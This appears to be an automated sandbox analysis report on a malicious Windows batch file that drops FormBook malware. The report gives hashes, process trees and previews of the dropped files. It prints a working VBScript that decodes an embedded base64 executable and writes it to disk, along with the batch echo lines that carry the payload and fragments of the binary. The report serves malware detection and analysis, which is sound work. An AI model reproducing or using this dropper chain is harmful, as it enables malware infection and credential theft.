SHA-512:	AB1573DE89BAB5287B838EE6090884A8ADE48727CD193746791DBB3A94530F9E996784CC21EDD0FC068E9584DEF3C22FAF68CF11986C0DEB228B390E6D10113E
Malicious:	true
Reputation:	low
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g..aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAD6QI2cAAAAAAAAAAOAAAgELATAAAO..wMAAAoAAAAAAAA2goNAAAgAAAAIA0AAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACA..DQAAAgAAAAAAAAIAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAIgKDQBPAA..AAACANAKQlAAAAAAAAAAAAAAAAAAAAAAAAAGANAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAA..AAAAAAAAAAAC50ZXh0AAAAGOsMAAAgAAAA7AwAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNy..YwAAAKQlAAAAIA0AACYAAADuDAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGANAA..ACAAAAFA0AAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAC8Cg0AAAAAAEgAAAAC..AAUAQLgAANBvAAADAAAAhAAABhAoAQB44gsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAFICKBYAAAoAAAIoEQAABn0BAAAEKgAAABMwBQA4AAAAAQAAEQBz..FQAABgoGcgEAAHAXFBZvFAAABgtzFwAACgwHcxgAAAoNCQhy9AAAcG8ZAAAKJggTBCsAEQ..QqEzAFAGEAAAACAAARABkYcxoAAAoKBhYWcgYBAHAoGwAACgYWFwMoGwAACgYXFn

C:\Users\user\AppData\Local\Temp\x.exe

Download File

Process:	C:\Windows\System32\cscript.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	857600
Entropy (8bit):	7.733489611061991
Encrypted:	false
SSDEEP:	12288:4n9InteEjOG8rrq9RJLW5lhvZjbQ4i6x8ICU7Pry2uqRqHaUr3eE/32/Q4AyrrRY:4gRpvJWhxjbQFu8zM9Ps32o4JPd
MD5:	431187D149215C1A9B535B0B25EE1FC1
SHA1:	CAF45CC18422A16A390C8E26DFCE455C6967A35E
SHA-256:	52DAB46AA94380F583CF19A17665405168BCF1A222FF75A45F92AB08729CB8CB
SHA-512:	8AFA723608D4FBBCD12E0103659F3AF69AE5AD44C54FA964BD7000592EACDF716A8A22EC2EBE6176EA3A864F42297EB8FC03939C39ADDF25DF05DCDBBA902803
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>.#g..............0......(........... ... ....@.. ....................................@.....................................O.... ...%...................`....................................................... ............... ..H............text........ ...................... ..`.rsrc....%... ...&..................@..@.reloc.......`......................@..B........................H.......@....o...........(..x...........................................R.(.......(....}........0..8........s......r...p...o.....s......s.......r...po....&...+....0..a..........s........r...p(........(.......r...p(........(.......r$..p(........(....s......r2..p...o.........0.............s........r...p(........(.......r...p(........(.......r$..p(........(.......r...p(..........O...(....s......r...p...o......{....o.........0..F..........s........r...p(.........O...(....s...

C:\Users\user\AppData\Local\Temp\x.vbs

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	380
Entropy (8bit):	5.126074554208653
Encrypted:	false
SSDEEP:	6:jpz7yVHPxORKm6JgCPmu7jjs9lVHEr6Jxlw6mvHFAF1GjyH4BZIkv:NZOmG7jU2r6JAiTrYZnv
MD5:	EC9A2FB69A379D913A4E0A953CD3B97C
SHA1:	A0303ED9F787C042071A1286BBA43A5BBDD0679E
SHA-256:	CF8268D158BB819EF158FF6CCBED64D5E379148A0ADB1F73A082A01D56D0286B
SHA-512:	FEF8E24A680991046BD7DACD6079C7E48C3031FE46CAAE722EA93797EE16C052073BA97959E992EA71AC7AB72FBCEDAA5CF4A410657AAC4C10AD24DE6935E9D6
Malicious:	true
Reputation:	low
Preview:	Set f=CreateObject("Scripting.FileSystemObject")'v..Set p=f.GetSpecialFolder(2)'v..Set i=f.OpenTextFile(p+"\x",1)'v..c=i.ReadAll()'v..i.Close'v..Set x=CreateObject("Msxml2.DOMDocument")'v..Set o=x.CreateElement("base64")'v..o.dataType="bin.base64"'v..o.text=c'v..Set b=CreateObject("ADODB.Stream")'v..b.Type=1'v..b.Open'v..b.Write o.NodeTypedValue'v..b.SaveToFile p+"\x.exe",2'v..

Static File Info

General

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	6.032087479482034
TrID:
File name:	FS001_ DT103024.bat
File size:	1'405'358 bytes
MD5:	3f526171c5f8abe5b38acc03f002c6e9
SHA1:	f89f1f5961f3dd53cd76471d7603ae9bfc1fa0c1
SHA256:	ba8888302e61b64da91ce078b99ee2c4afa90f53621f9005be2ffbe7bdde1767
SHA512:	8e8e77b6c611c383925f1395c8263bbf7a29a82efb9883ae47dfaa5c1494a1075b9817d896f5f15e23cb602155cd2f3cebeeb1f29d39e0398d05c536f90def17
SSDEEP:	24576:Tw8yUK6Y/DijNvlPINc+qyJgoOzFIPbIvrNDmy59nX5COv:TAUeujVi/KOct
TLSH:	455568777842A9A1242F5D401F3A79743838FFC71204ACB9DC9B0F7A6990BD6399E1B4
File Content Preview:	@Echo off..echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>%tmp%\x..echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g>>%tmp%\x..echo aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAD6QI2cAAAAAAAAAAOAAAgELATAA

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 13:54:50.386635065 CET	53	51483	162.159.36.2	192.168.2.5
Nov 1, 2024 13:54:51.012722015 CET	53	50181	1.1.1.1	192.168.2.5

Target ID:	0
Start time:	08:54:01
Start date:	01/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\FS001_ DT103024.bat" "
Imagebase:	0x7ff7b9bd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	08:54:01
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	08:54:12
Start date:	01/11/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /e "'v" "C:\Users\user\Desktop\FS001_ DT103024.bat"
Imagebase:	0x7ff720bc0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	4
Start time:	08:54:12
Start date:	01/11/2024
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs
Imagebase:	0x7ff74ad30000
File size:	161'280 bytes
MD5 hash:	24590BF74BBBBFD7D7AC070F4E3C44FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	08:54:13
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\x.exe
Imagebase:	0x700000
File size:	857'600 bytes
MD5 hash:	431187D149215C1A9B535B0B25EE1FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	7
Start time:	08:54:15
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x8c0000
File size:	857'600 bytes
MD5 hash:	431187D149215C1A9B535B0B25EE1FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2389064110.0000000001340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2388569618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true